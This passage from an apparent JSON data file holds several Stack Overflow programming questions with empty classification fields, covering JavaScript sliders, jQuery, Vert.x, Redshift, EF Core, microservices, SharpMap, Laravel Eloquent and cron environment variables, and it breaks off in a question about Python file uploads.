images?","Body":"<p>I created <a href=\"https://stackoverflow.com/questions/50066119/how-to-transition-between-images-in-a-slider/50067270#50067270\">this</a> question and was able to get my slider to work. Now I need to add a smooth transition between images. I tried transition/ animate in CSS but that has a weird effect - there is a blackness between images. I think the transition property needs to be added to JS. </p>\n\n<p><strong>Current situation</strong> - there is stark difference as images change suddenly\n<strong>Expectation</strong> - I want images to ease in and out.</p>\n\n<p>Any help in this direction is greatly appreciated!</p>\n\n<p>P.S. -> copy-pasting code here for ease of use:</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\n<div class=\"snippet-code\">\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>let line = document.getElementById(\"line\");\n\nline.addEventListener(\"input\", function(event){\n setNewImage(event.target.value);\n});\n\nfunction setNewImage(value){\n // console.log(value);\n let currentImage = document.getElementsByClassName(\"playing\");\n let removedImage = currentImage[0].classList.remove(\"playing\");\n let imageToAdd = \"image\"+value;\n // console.log(imageToAdd);\n \n let getElToAdd = document.getElementsByClassName(imageToAdd);\n \n // console.log(getElToAdd);\n \n let newEl = getElToAdd[0];\n \n newEl.classList.add(\"playing\");\n}</code></pre>\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>.container {\n display: flex;\n justify-content: center;\n flex-direction: column;\n background-color: lavendar;\n width: 400px;\n height: 300px;\n}\n\n.image-container {\n width: 380px;\n height: 280px;\n/* background-color: pink; */\n}\n\n.scrollbar {\n/* padding: 0 5px 5px 0; */\n}\n.scrollbar input {\n width: 380px;\n}\n\nul li {\n list-style: none;\n}\n\n.image {\n width: 380px;\n height: 260px;\n display: none;\n}\n\n.playing {\n display: block;\n}\n.image1 {\n background: url('http://placekitten.com/380/260') no-repeat;\n}\n\n.image2 {\n background: url('http://placekitten.com/378/260') no-repeat;\n}\n\n.image3 {\n background: url('http://placekitten.com/380/259') no-repeat;\n}\n\n.image4 {\n background: url('http://placekitten.com/379/260') no-repeat;\n}\n\n.image5 {\n background: url('http://placekitten.com/383/260') no-repeat;\n}\n\n.image6 {\n background: url('http://placekitten.com/380/261') no-repeat;\n}</code></pre>\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;div class=\"container\"&gt;\n &lt;div class=\"image-container\"&gt;\n &lt;ul&gt;\n &lt;li&gt;&lt;img class=\"playing image image1\" /&gt;&lt;/li&gt;\n &lt;li&gt;&lt;img class=\"image image2\" /&gt;&lt;/li&gt;\n &lt;li &gt;&lt;img class=\"image image3\" /&gt;&lt;/li&gt;\n &lt;li&gt;&lt;img class=\"image image4\" /&gt;&lt;/img&gt;&lt;/li&gt;\n &lt;li&gt;&lt;img class=\"image image5\" /&gt;&lt;/li&gt;\n &lt;li&gt;&lt;img class=\"image image6\"/&gt;&lt;/li&gt;\n &lt;/ul&gt;\n &lt;/div&gt;\n &lt;div class=\"scrollbar\"&gt;\n &lt;input id=\"line\" type=\"range\" min=1 max =6 /&gt;\n &lt;/div&gt;\n&lt;/div&gt;</code></pre>\n</div>\n</div>\n</p>\n"},{"Classification":"","Title":".html() not returning modified version of cloned DOM subtree","Body":"<p>Look at the simple little <code>div</code> containing a radio-button <code>input</code>. Then look at the Javascript that grabs the <code>div</code> and clones it with <code>.clone()</code>, saving it to variable <code>y</code>, and then finds the <code>input</code> elements within it, and then iterates over them in order to modify them -- it's supposed to uncheck the radio button -- but when I print the <code>div</code> with <code>.html()</code>, the radio button is still checked! But why? And how do I get <code>.html()</code> to return the unchecked version?</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\n<div class=\"snippet-code\">\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>var y = $('div.foo').clone();\nconsole.log(y.html());\ny.find('input').each(function(index, el) {\n $(el).prop('checked', false); // turn off the radio button\n});\nconsole.log(y.html());\n//$('input[name=x_0]').prop('checked', false); // this will do it</code></pre>\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;script src=\"https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js\"&gt;&lt;/script&gt;\n&lt;div class=\"foo\"&gt;\n &lt;input type=\"radio\" name=\"x_0\" value=\"email\" checked=\"checked\"&gt; email\n&lt;/div&gt;</code></pre>\n</div>\n</div>\n</p>\n"},{"Classification":"","Title":"ClassNotFoundException while trying to run vertx aplication","Body":"<p>I'm trying to run a sample <em>Vert.x</em> program with below code: </p>\n\n<pre class=\"lang-java prettyprint-override\"><code>public class MyFirstVerticle extends AbstractVerticle {\n\n @Override\n public void start(Future&lt;Void&gt; fut) {\n vertx\n .createHttpServer()\n .requestHandler(r -&gt; {\n r.response().end(\"&lt;h1&gt;Hello from my first \" +\n \"Vert.x 3 application&lt;/h1&gt;\");\n })\n .listen(8080, result -&gt; {\n if (result.succeeded()) {\n fut.complete();\n } else {\n fut.fail(result.cause());\n }\n });\n }\n}\n</code></pre>\n\n<p>Here down the <em>Maven</em> pom file:</p>\n\n<pre class=\"lang-xml prettyprint-override\"><code>&lt;project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0\n http://maven.apache.org/xsd/maven-4.0.0.xsd\"&gt;\n &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;\n &lt;groupId&gt;io.vertx.blog&lt;/groupId&gt;\n &lt;artifactId&gt;MyFirstVertxMicroservices&lt;/artifactId&gt;\n &lt;version&gt;1.0-SNAPSHOT&lt;/version&gt;\n\n &lt;dependencies&gt;\n &lt;dependency&gt;\n &lt;groupId&gt;io.vertx&lt;/groupId&gt;\n &lt;artifactId&gt;vertx-core&lt;/artifactId&gt;\n &lt;version&gt;3.3.3&lt;/version&gt;\n &lt;/dependency&gt;\n &lt;dependency&gt;\n &lt;groupId&gt;com.fasterxml.jackson.core&lt;/groupId&gt;\n &lt;artifactId&gt;jackson-databind&lt;/artifactId&gt;\n &lt;version&gt;2.9.4&lt;/version&gt;\n &lt;/dependency&gt;\n &lt;!-- https://mvnrepository.com/artifact/io.netty/netty-handler --&gt;\n &lt;!-- &lt;dependency&gt; &lt;groupId&gt;io.netty&lt;/groupId&gt; &lt;artifactId&gt;netty-handler&lt;/artifactId&gt;\n &lt;version&gt;4.0.33.Final&lt;/version&gt; &lt;/dependency&gt; --&gt;\n &lt;dependency&gt;\n &lt;groupId&gt;junit&lt;/groupId&gt;\n &lt;artifactId&gt;junit&lt;/artifactId&gt;\n &lt;version&gt;4.12&lt;/version&gt;\n &lt;scope&gt;test&lt;/scope&gt;\n &lt;/dependency&gt;\n &lt;dependency&gt;\n &lt;groupId&gt;io.vertx&lt;/groupId&gt;\n &lt;artifactId&gt;vertx-unit&lt;/artifactId&gt;\n &lt;version&gt;3.0.0&lt;/version&gt;\n &lt;scope&gt;test&lt;/scope&gt;\n &lt;/dependency&gt;\n\n &lt;/dependencies&gt;\n\n &lt;build&gt;\n &lt;plugins&gt;\n &lt;plugin&gt;\n &lt;artifactId&gt;maven-compiler-plugin&lt;/artifactId&gt;\n &lt;version&gt;3.1&lt;/version&gt;\n &lt;configuration&gt;\n &lt;source&gt;1.8&lt;/source&gt;\n &lt;target&gt;1.8&lt;/target&gt;\n &lt;/configuration&gt;\n &lt;dependencies&gt;\n &lt;dependency&gt;\n &lt;groupId&gt;com.fasterxml.jackson.core&lt;/groupId&gt;\n &lt;artifactId&gt;jackson-databind&lt;/artifactId&gt;\n &lt;version&gt;2.9.4&lt;/version&gt;\n &lt;/dependency&gt;\n &lt;/dependencies&gt;\n &lt;/plugin&gt;\n\n &lt;plugin&gt;\n &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;\n &lt;artifactId&gt;maven-shade-plugin&lt;/artifactId&gt;\n &lt;version&gt;2.3&lt;/version&gt;\n &lt;executions&gt;\n &lt;execution&gt;\n &lt;phase&gt;package&lt;/phase&gt;\n &lt;goals&gt;\n &lt;goal&gt;shade&lt;/goal&gt;\n &lt;/goals&gt;\n &lt;configuration&gt;\n &lt;transformers&gt;\n &lt;transformer\n implementation=\"org.apache.maven.plugins.shade.resource.ManifestResourceTransformer\"&gt;\n &lt;manifestEntries&gt;\n &lt;Main-Class&gt;io.vertx.core.Starter&lt;/Main-Class&gt;\n &lt;Main-Verticle&gt;com.inet.vertex.verticle.MyFirstVerticle&lt;/Main-Verticle&gt;\n &lt;/manifestEntries&gt;\n &lt;/transformer&gt;\n &lt;/transformers&gt;\n &lt;artifactSet/&gt;\n &lt;outputFile&gt;${project.build.directory}/${project.artifactId}-${project.version}-fat.jar&lt;/outputFile&gt;\n &lt;/configuration&gt;\n &lt;/execution&gt;\n &lt;/executions&gt;\n &lt;/plugin&gt;\n\n &lt;/plugins&gt;\n &lt;/build&gt;\n\n&lt;/project&gt;\n</code></pre>\n\n<p>When I try to run the program using the below command:</p>\n\n<pre><code>java -jar target/MyFirstVertxMicroservices-1.0-SNAPSHOT-fat.jar\n</code></pre>\n\n<p>I get the following error:</p>\n\n<pre><code>SEVERE: Failed in deploying verticle\njava.lang.ClassNotFoundException: com.inet.vertex.verticle.MyFirstVerticle\nat java.net.URLClassLoader.findClass(Unknown Source)\nat java.lang.ClassLoader.loadClass(Unknown Source)\n at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source)\n at java.lang.ClassLoader.loadClass(Unknown Source)\n</code></pre>\n\n<p>I tried to unzip the fat jar file and I can see that MyfirstVerticle.class is there inside folder <em>com/inet/vertex/verticle/MyfirstVerticle.class</em>.</p>\n\n<p>Am I missing something?</p>\n"},{"Classification":"","Title":"Separate queue for Amazon Redshift vacuums","Body":"<p>I am considering having a separate queue for vacuum queries with concurrency set to 1 in WLM (Workload Management).\nAm choosing concurrency 1 because only a single vacuum query can run at any given moment. I am trying to think if there will be any problems in this implementation.</p>\n\n<p>When i run the following query to check how many slots a vacuum query occupies, it is clear that only 1 slot is occupied at any given point of time by any multi stage vacuum query.</p>\n\n<pre class=\"lang-sql prettyprint-override\"><code>SELECT wlm.query, wlm.slot_count, trim(q.text), queue_start_time, queue_end_time, total_queue_time\nFROM stl_wlm_query wlm, stl_querytext q\nWHERE wlm.query = q.query\nAND text like '%Vacuum my_awesome_table%'\n</code></pre>\n\n<p>ORDER BY queue_start_time DESC;</p>\n\n<pre><code> query | slot_count | btrim | queue_start_time | queue_end_time\n---------+------------+-------------------------------------------------------------------------+----------------------------+-----------------------------\n 1013242 | 1 | Vacuum my_awesome_table integrity check after vacuum execution | 2018-04-27 16:46:47.90601 | 2018-04-27 16:46:47.90601\n 1013237 | 1 | Vacuum my_awesome_table merge (increment: 2 remaining rows: 77234725) | 2018-04-27 16:46:40.785284 | 2018-04-27 16:46:40.785284\n 1013235 | 1 | Vacuum my_awesome_table merge (increment: 1) | 2018-04-27 16:46:29.789227 | 2018-04-27 16:46:29.789227\n 1013232 | 1 | Vacuum my_awesome_table sort (partition: 35 remaining rows: 331972) | 2018-04-27 16:46:16.978124 | 2018-04-27 16:46:16.978124\n 1013231 | 1 | Vacuum my_awesome_table sort (partition: 34 remaining rows: 1458914) | 2018-04-27 16:46:15.059653 | 2018-04-27 16:46:15.059653\n 1013229 | 1 | Vacuum my_awesome_table sort (partition: 33 remaining rows: 2586321) | 2018-04-27 16:46:13.641356 | 2018-04-27 16:46:13.641356\n 1013228 | 1 | Vacuum my_awesome_table sort (partition: 32 remaining rows: 3713038) | 2018-04-27 16:46:12.233741 | 2018-04-27 16:46:12.233741\n 1013227 | 1 | Vacuum my_awesome_table sort (partition: 31 remaining rows: 4839275) | 2018-04-27 16:46:10.838661 | 2018-04-27 16:46:10.838661\n 1013226 | 1 | Vacuum my_awesome_table sort (partition: 30 remaining rows: 5965341) | 2018-04-27 16:46:09.421457 | 2018-04-27 16:46:09.421457\n 1013225 | 1 | Vacuum my_awesome_table sort (partition: 29 remaining rows: 7090572) | 2018-04-27 16:46:07.93862 | 2018-04-27 16:46:07.93862\n 1013224 | 1 | Vacuum my_awesome_table sort (partition: 28 remaining rows: 8215908) | 2018-04-27 16:46:06.441227 | 2018-04-27 16:46:06.441227\n 1013223 | 1 | Vacuum my_awesome_table sort (partition: 27 remaining rows: 9341191) | 2018-04-27 16:46:05.009684 | 2018-04-27 16:46:05.009684\n 1013222 | 1 | Vacuum my_awesome_table sort (partition: 26 remaining rows: 10467621) | 2018-04-27 16:46:03.54458 | 2018-04-27 16:46:03.54458\n 1013221 | 1 | Vacuum my_awesome_table sort (partition: 25 remaining rows: 11594203) | 2018-04-27 16:46:01.998305 | 2018-04-27 16:46:01.998305\n 1013218 | 1 | Vacuum my_awesome_table sort (partition: 24 remaining rows: 12720513) | 2018-04-27 16:46:00.528971 | 2018-04-27 16:46:00.528971\n 1013217 | 1 | Vacuum my_awesome_table sort (partition: 23 remaining rows: 13844984) | 2018-04-27 16:45:59.071698 | 2018-04-27 16:45:59.071698\n 1013216 | 1 | Vacuum my_awesome_table sort (partition: 22 remaining rows: 14970941) | 2018-04-27 16:45:57.596597 | 2018-04-27 16:45:57.596597\n 1013215 | 1 | Vacuum my_awesome_table sort (partition: 21 remaining rows: 16097323) | 2018-04-27 16:45:56.253103 | 2018-04-27 16:45:56.253103\n 1013214 | 1 | Vacuum my_awesome_table sort (partition: 20 remaining rows: 17223270) | 2018-04-27 16:45:54.634498 | 2018-04-27 16:45:54.634498\n 1013213 | 1 | Vacuum my_awesome_table sort (partition: 19 remaining rows: 18351994) | 2018-04-27 16:45:53.265236 | 2018-04-27 16:45:53.265236\n 1013212 | 1 | Vacuum my_awesome_table sort (partition: 18 remaining rows: 19477834) | 2018-04-27 16:45:51.741294 | 2018-04-27 16:45:51.741294\n 1013211 | 1 | Vacuum my_awesome_table sort (partition: 17 remaining rows: 20605101) | 2018-04-27 16:45:50.338666 | 2018-04-27 16:45:50.338666\n 1013210 | 1 | Vacuum my_awesome_table sort (partition: 16 remaining rows: 21730370) | 2018-04-27 16:45:48.698214 | 2018-04-27 16:45:48.698214\n 1013209 | 1 | Vacuum my_awesome_table sort (partition: 15 remaining rows: 22856152) | 2018-04-27 16:45:46.27666 | 2018-04-27 16:45:46.27666\n 1013208 | 1 | Vacuum my_awesome_table sort (partition: 14 remaining rows: 23981990) | 2018-04-27 16:45:43.603719 | 2018-04-27 16:45:43.603719\n 1013206 | 1 | Vacuum my_awesome_table sort (partition: 13 remaining rows: 25107349) | 2018-04-27 16:45:40.848632 | 2018-04-27 16:45:40.848632\n 1013205 | 1 | Vacuum my_awesome_table sort (partition: 12 remaining rows: 26233207) | 2018-04-27 16:45:38.097134 | 2018-04-27 16:45:38.097134\n 1013204 | 1 | Vacuum my_awesome_table sort (partition: 11 remaining rows: 27359056) | 2018-04-27 16:45:35.316781 | 2018-04-27 16:45:35.316781\n 1013203 | 1 | Vacuum my_awesome_table sort (partition: 10 remaining rows: 28486363) | 2018-04-27 16:45:33.815825 | 2018-04-27 16:45:33.815825\n 1013202 | 1 | Vacuum my_awesome_table sort (partition: 9 remaining rows: 29612051) | 2018-04-27 16:45:32.262505 | 2018-04-27 16:45:32.262505\n 1013201 | 1 | Vacuum my_awesome_table sort (partition: 8 remaining rows: 30738238) | 2018-04-27 16:45:30.867315 | 2018-04-27 16:45:30.867315\n 1013200 | 1 | Vacuum my_awesome_table sort (partition: 7 remaining rows: 31864515) | 2018-04-27 16:45:29.476297 | 2018-04-27 16:45:29.476297\n 1013197 | 1 | Vacuum my_awesome_table sort (partition: 6 remaining rows: 32989591) | 2018-04-27 16:45:28.023365 | 2018-04-27 16:45:28.023365\n 1013196 | 1 | Vacuum my_awesome_table sort (partition: 5 remaining rows: 34115286) | 2018-04-27 16:45:26.607642 | 2018-04-27 16:45:26.607642\n 1013195 | 1 | Vacuum my_awesome_table sort (partition: 4 remaining rows: 35241021) | 2018-04-27 16:45:25.179251 | 2018-04-27 16:45:25.179251\n 1013194 | 1 | Vacuum my_awesome_table sort (partition: 3 remaining rows: 36367702) | 2018-04-27 16:45:23.167024 | 2018-04-27 16:45:23.167024\n 1013193 | 1 | Vacuum my_awesome_table sort (partition: 2 remaining rows: 37493086) | 2018-04-27 16:45:21.550219 | 2018-04-27 16:45:21.550219\n 1013192 | 1 | Vacuum my_awesome_table sort (partition: 1) | 2018-04-27 16:45:13.472849 | 2018-04-27 16:45:13.472849\n 1013188 | 1 | Vacuum my_awesome_table integrity check before vacuum execution | 2018-04-27 16:45:13.083657 | 2018-04-27 16:45:13.083657\n 1008690 | 1 | Vacuum my_awesome_table integrity check after vacuum execution | 2018-04-27 09:00:23.795686 | 2018-04-27 09:00:23.795686\n 1008686 | 1 | Vacuum my_awesome_table merge (increment: 2 remaining rows: 115824559) | 2018-04-27 09:00:15.527474 | 2018-04-27 09:00:15.527474\n 1008680 | 1 | Vacuum my_awesome_table merge (increment: 1) | 2018-04-27 09:00:00.946362 | 2018-04-27 09:00:00.946362\n</code></pre>\n"},{"Classification":"","Title":"Why does EF Core Migration try to drop Index that doesn't exist?","Body":"<p>This occurred while making changes related to this: <a href=\"https://stackoverflow.com/questions/50069427/create-unique-constraint-for-true-only-in-ef-core?noredirect=1#comment87155484_50069427\">Create Unique constraint for &#39;true&#39; only in EF Core</a></p>\n\n<p>Before modificiations, my fluent API for the <code>RecordAttachment</code> table looked like this:</p>\n\n<pre><code>modelBuilder.Entity&lt;RecordAttachment&gt;(entity =&gt;\n{\nentity.Property(e =&gt; e.Details)\n .IsRequired()\n .HasColumnType(\"text\")\n .HasDefaultValueSql(\"('')\");\n\nentity.HasOne(d =&gt; d.Record)\n .WithMany(p =&gt; p.RecordAttachment)\n .HasForeignKey(d =&gt; d.RecordId)\n .HasConstraintName(\"FK_RecordAttachment_RecordId\");\n});\n</code></pre>\n\n<p>Note: The above code was generated when running <code>Scaffold-DbContext</code> on an existing database, so this was the first code-first modification done to the <code>RecordAttachment</code> table.</p>\n\n<p>After updating it to include this:</p>\n\n<pre><code>entity.HasIndex(e =&gt; new { e.RecordId, e.IsPrimary })\n .HasFilter(\"[IsPrimary] = 1\")\n .IsUnique(true);\n</code></pre>\n\n<p>And running <code>Add-Migration</code>, first instruction in the generated Migration is this:</p>\n\n<pre><code>migrationBuilder.DropIndex(\n name: \"IX_RecordAttachment_RecordId\",\n table: \"RecordAttachment\");\n</code></pre>\n\n<p>However there isn't nor was there ever an \"IX_RecordAttachment_RecordId\", I even checked older versions of the snapshot to see if it was there. This causes the Migration to fail. I suppose its easy enough to remove it from the Migration, but I'm wondering what made EF Core create this instruction.</p>\n"},{"Classification":"","Title":"Getting response for user-initiated action from microservices with asynchronous communication","Body":"<p>I'm not sure how to put this into words well, so here's a (rather common) example.</p>\n\n<p>Say a user is using our blog service and clicks the \"Save\" button to publish his awesome blog post.\nNow a common user story would be, he will be notified of his action's result - a notification like \"Successfully published!\" or \"An error occurred. Please try again.\".</p>\n\n<p>In a synchronous world, this is not hard - you send a request to the server, wait for a response, and based on the response show a notification.</p>\n\n<p>But let's imagine our server is in microservice oriented architecture, leveraging asynchronous communication; we use a message queue for example. An API gateway microservice takes a request from front-end, publishes its message into the queue. Then a \"consumer\" microservice sends the result of the consumed message to the front-end.\nWhat's a good way to give back the result of user action in this case?\nIf we set up a websocket session to take such responses for example, the code to initiate user action and the code to give feedback for user action would end up being completely separate, although it happens in the same user workflow. Is this a sensible idea? Or I'm missing some fundamental ideas here?</p>\n"},{"Classification":"","Title":"SharpMap WMTS / TMS Server implementation","Body":"<p>Can anyone help me with the implementation of WMTS / TMS Server in SharpMap? </p>\n\n<p>I've been trying out a lot from diff sources but I can't seem to come up with a working solution. Below is a handler I am using, it's just drawing the boxes instead of data from the database. I am using the same method I used for a WMS Server:</p>\n\n<pre><code>DatabaseUtil.SqlServer(ConnectionString(), Layers(), new Size(1, 1), bbox, \"id\");\n</code></pre>\n\n<p>to get data from SQL Server and it's working just fine for the WMS. The only difference is that the one below returns a specific layer instead of a list by using <code>.FindAll(lyr =&gt; lyr.Table.Equals(layer))</code> query. </p>\n\n<pre><code>/// &lt;summary&gt;\n/// Summary description for WMTS\n/// &lt;/summary&gt;\npublic class WMTS : IHttpHandler\n{\n /// &lt;summary&gt;\n /// Defines the projection\n /// &lt;/summary&gt;\n private readonly ICoordinateTransformation projection = ProjUtil.ToPseudoMercator();\n\n /// &lt;summary&gt;\n /// The ProcessRequest\n /// wmts?SERVICE=WMTS&amp;REQUEST=GetTile&amp;VERSION=1.0.0&amp;LAYER=layer_id&amp;STYLE=default&amp;TILEMATRIXSET=matrix_id&amp;TILEMATRIX=3&amp;TILEROW=2&amp;TILECOL=0&amp;FORMAT=image%2Fjpeg\n /// &lt;/summary&gt;\n /// &lt;param name=\"context\"&gt;The &lt;see cref=\"HttpContext\"/&gt;&lt;/param&gt;\n public void ProcessRequest(HttpContext context)\n {\n string layer = context.Request.Params[\"LAYER\"];\n int tilematrix = int.Parse(context.Request.Params[\"TILEMATRIX\"]);\n int tilerow = int.Parse(context.Request.Params[\"TILEROW\"]);\n int tilecol = int.Parse(context.Request.Params[\"TILECOL\"]);\n string service = context.Request.Params[\"SERVICE\"];\n string request = context.Request.Params[\"REQUEST\"];\n string version = context.Request.Params[\"VERSION\"];\n string style = context.Request.Params[\"STYLE\"];\n string tilematrixset = context.Request.Params[\"TILEMATRIXSET\"];\n string format = context.Request.Params[\"FORMAT\"];\n\n if (String.IsNullOrEmpty(layer))\n throw new ArgumentNullException(\"layer\");\n\n Map map = Map(layer, tilecol, tilerow, tilematrix);\n\n var map_image = map.GetMap();\n\n //using (var memory_stream = new MemoryStream())\n //{\n // map_image.Save(memory_stream, ImageFormat.Png);\n\n // var wms = memory_stream.ToArray();\n\n // WriteResponseInChunks(wms, context);\n //}\n byte[] buffer;\n using (var ms = new MemoryStream())\n {\n map_image.Save(ms, ImageFormat.Png);\n map_image.Dispose();\n buffer = ms.ToArray();\n }\n\n WriteResponseInChunks(buffer, context);\n }\n\n public static ImageCodecInfo GetEncoderInfo(String mimeType)\n {\n foreach (var encoder in ImageCodecInfo.GetImageEncoders())\n if (encoder.MimeType == mimeType)\n return encoder;\n\n return null;\n }\n\n /// &lt;summary&gt;\n /// The GetMap\n /// &lt;/summary&gt;\n /// &lt;returns&gt;The &lt;see cref=\"SharpMap.Map\"/&gt;&lt;/returns&gt;\n protected Map Map(string layer, int x, int y, int z)\n {\n Envelope bbox = GetBoundingBoxInLatLngWithMargin(x, y, z);\n\n return DatabaseUtil.SqlServer(ConnectionString(), Layers().FindAll(lyr =&gt; lyr.Table.Equals(layer)), new Size(1, 1), bbox, \"id\");\n }\n\n /// &lt;summary&gt;\n /// The Layers\n /// &lt;/summary&gt;\n /// &lt;returns&gt;The &lt;see cref=\"List{VectorLayerModel}\"/&gt;&lt;/returns&gt;\n private List&lt;VectorLayerModel&gt; Layers()\n {\n VectorLayerModel standsLayerModel = new VectorLayerModel()\n {\n Table = \"cadastre\",\n Style = new VectorStyle { Line = new Pen(Color.DarkGray, 2) }\n };\n\n VectorLayerModel roadsLayerModel = new VectorLayerModel()\n {\n Table = \"townships\",\n Style = new VectorStyle { Line = new Pen(Color.DarkRed, 2.5f) }\n };\n\n VectorLayerModel pipeLayerModel = new VectorLayerModel()\n {\n Table = \"provinces\",\n Style = new VectorStyle { Line = new Pen(Color.DarkBlue, 1.5f) }\n };\n\n return new List&lt;VectorLayerModel&gt;() { standsLayerModel, roadsLayerModel, pipeLayerModel };\n }\n\n /// &lt;summary&gt;\n /// The ConnectionString\n /// &lt;/summary&gt;\n /// &lt;returns&gt;The &lt;see cref=\"string\"/&gt;&lt;/returns&gt;\n private string ConnectionString()\n {\n return \"Data Source=******;Initial Catalog=GCCIGO_V2;Integrated Security=SSPI;\";\n }\n\n /// &lt;summary&gt;\n /// The GetBoundingBoxInLatLngWithMargin\n /// &lt;/summary&gt;\n /// &lt;param name=\"tileX\"&gt;The &lt;see cref=\"int\"/&gt;&lt;/param&gt;\n /// &lt;param name=\"tileY\"&gt;The &lt;see cref=\"int\"/&gt;&lt;/param&gt;\n /// &lt;param name=\"zoom\"&gt;The &lt;see cref=\"int\"/&gt;&lt;/param&gt;\n /// &lt;returns&gt;The &lt;see cref=\"Envelope\"/&gt;&lt;/returns&gt;\n private Envelope GetBoundingBoxInLatLngWithMargin(int tileX, int tileY, int zoom)\n {\n Point px1 = new Point((tileX * 256), (tileY * 256));\n Point px2 = new Point(((tileX + 1) * 256), ((tileY + 1) * 256));\n\n PointF ll1 = TileSystemHelper.PixelXYToLatLong(px1, zoom);\n PointF ll2 = TileSystemHelper.PixelXYToLatLong(px2, zoom);\n\n double[] prj1 = projection.MathTransform.Transform(new double[] { ll1.X, ll1.Y });\n double[] prj2 = projection.MathTransform.Transform(new double[] { ll2.X, ll2.Y });\n\n Envelope bbox = new Envelope();\n bbox.ExpandToInclude(prj1[0], prj1[1]);\n bbox.ExpandToInclude(prj2[0], prj2[1]);\n\n return bbox;\n }\n\n /// &lt;summary&gt;\n /// The size of the chunks written to response.\n /// &lt;/summary&gt;\n private const int ChunkSize = 2 * 8192;\n\n /// &lt;summary&gt;\n /// Method to write an array of bytes in chunks to a http response\n /// &lt;/summary&gt;\n /// &lt;remarks&gt;\n /// The code was adopted from http://support.microsoft.com/kb/812406/en-us\n /// &lt;/remarks&gt;\n /// &lt;param name=\"buffer\"&gt;The array of bytes&lt;/param&gt;\n /// &lt;param name=\"context\"&gt;The response&lt;/param&gt;\n private static void WriteResponseInChunks(byte[] buffer, HttpContext context)\n {\n try\n {\n bool _continue;\n\n context.Response.ClearContent();\n\n context.Response.ContentType = \"image/png\";\n\n using (var ms = new MemoryStream(buffer))\n {\n var dataToRead = buffer.Length;\n\n while (dataToRead &gt; 0)\n {\n if (context.Response.IsClientConnected)\n {\n {\n var tmpBuffer = new byte[ChunkSize];\n var length = ms.Read(tmpBuffer, 0, tmpBuffer.Length);\n context.Response.OutputStream.Write(tmpBuffer, 0, length);\n context.Response.Flush();\n dataToRead -= length;\n }\n }\n else\n {\n dataToRead = -1;\n }\n }\n _continue = dataToRead &gt; 0;\n\n }\n }\n catch (Exception ex)\n {\n context.Response.ClearContent();\n context.Response.ContentType = \"text/plain\";\n context.Response.Write(string.Format(\"Error : {0}\", ex.Message));\n context.Response.Write(string.Format(\"Source : {0}\", ex.Message));\n context.Response.Write(string.Format(\"StackTrace: {0}\", ex.StackTrace));\n }\n finally\n {\n context.Response.End();\n }\n }\n\n /// &lt;summary&gt;\n /// Gets a value indicating whether IsReusable\n /// &lt;/summary&gt;\n public bool IsReusable\n {\n get\n {\n return true;\n }\n }\n}\n</code></pre>\n\n<p>Maybe it will help if i just put up the code for creating the <code>SharpMap.Map</code>:</p>\n\n<pre><code>public static Map SqlServer(string conn, List&lt;VectorLayerModel&gt; layers, Size map_size, Envelope bbox, string id_column = \"ID\")\n{\n Map map = new Map(map_size);\n\n foreach (var layer in layers)\n {\n VectorLayer lyr = CreateSqlServerLayer(conn, layer.Table, layer.Style, id_column);\n lyr.IsQueryEnabled = true;\n lyr.Enabled = true;\n\n if (bbox != null)\n {\n var geometries = lyr.DataSource.GetGeometriesInView(bbox);\n lyr.DataSource = new GeometryFeatureProvider(geometries);\n }\n\n map.Layers.Add(lyr);\n }\n\n return map;\n}\n</code></pre>\n"},{"Classification":"","Title":"Eloquent forceDelete not triggering deleting in relationship when not called directly","Body":"<p>When I do </p>\n\n<pre><code>$aa-&gt;pathways()-&gt;forceDelete(); \n</code></pre>\n\n<p>I expect that the deleting event from the Pathways model, be trigger, for each pathway that is deleted. Unfortunately it is not, so what would be the recommended solution.</p>\n\n<p>Here is the event from the model. It seems to work when doing $pathway->forceDelete() but not when mass deleting a 'hasMany' relationship</p>\n\n<pre><code>protected static function boot() {\n parent::boot();\n\n static::deleting(function($pathway) { // before delete() method call this\n //$pathwayuser-&gt;photos()-&gt;delete();\n // do the rest of the cleanup...\n dd('deleting');\n\n $pathway-&gt;external()-&gt;sync([]);\n $pathway-&gt;internal()-&gt;sync([]);\n });\n }\n</code></pre>\n\n<p>Thank you</p>\n"},{"Classification":"","Title":"centos7 non-interactive non-login shell source /etc/profile from cron","Body":"<p>I know this question has been asked thousands of times before, and at the risk of being flamed, I am still trying to wrap my head how to have both cron tasks and cloud-init scripts read the .sh scripts under <code>/etc/profile.d</code></p>\n\n<p>According to the <code>/etc/profile</code> file</p>\n\n<blockquote>\n <p>It's NOT a good idea to change this file unless you know what you\n are doing. It's much better to create a custom.sh shell script in\n /etc/profile.d/ to make custom changes to your environment, as this\n will prevent the need for merging in future updates.</p>\n</blockquote>\n\n<p>So I have placed a script inside <code>/etc/profile.d/myVars.sh</code></p>\n\n<pre><code>export myVar=\"myFolder\"\n</code></pre>\n\n<p>When using interactive scripts, works as expected with all scripts being able to read <code>myVar</code></p>\n\n<p>I have now created a cron task for reboot</p>\n\n<pre><code>@reboot ec2-user /home/myScript.sh\n</code></pre>\n\n<p>And that script references <code>${myVar}</code>. However the <code>myVar</code> is never read as it seems <code>/etc/profile.d</code> folder is not read by the cron task even with the <code>ec2-user</code> being set.</p>\n\n<pre><code>/home/myScript.sh\nmyvariable=$(whoami) --&gt; reports as ec2-user\n</code></pre>\n\n<p>Is it incorrect to expect files in <code>/etc/profile.d</code> to be read when calling via a cron? I also note that using ec2 <code>use-data</code> this also fails when calling with <code>sudo -u ec2-user /home/myScript.sh</code></p>\n\n<p>How do I set the non-interactive non-login shells to read from profile.d?</p>\n"},{"Classification":"","Title":"file upload works with curl and postman but not python requests","Body":"<p>I am attempting to upload a CSV file to an API (which gives me very little error info) using python requests library.</p>\n\n<p>(I'm running Python 3.5 and using requests version 2.18.4 on OS X 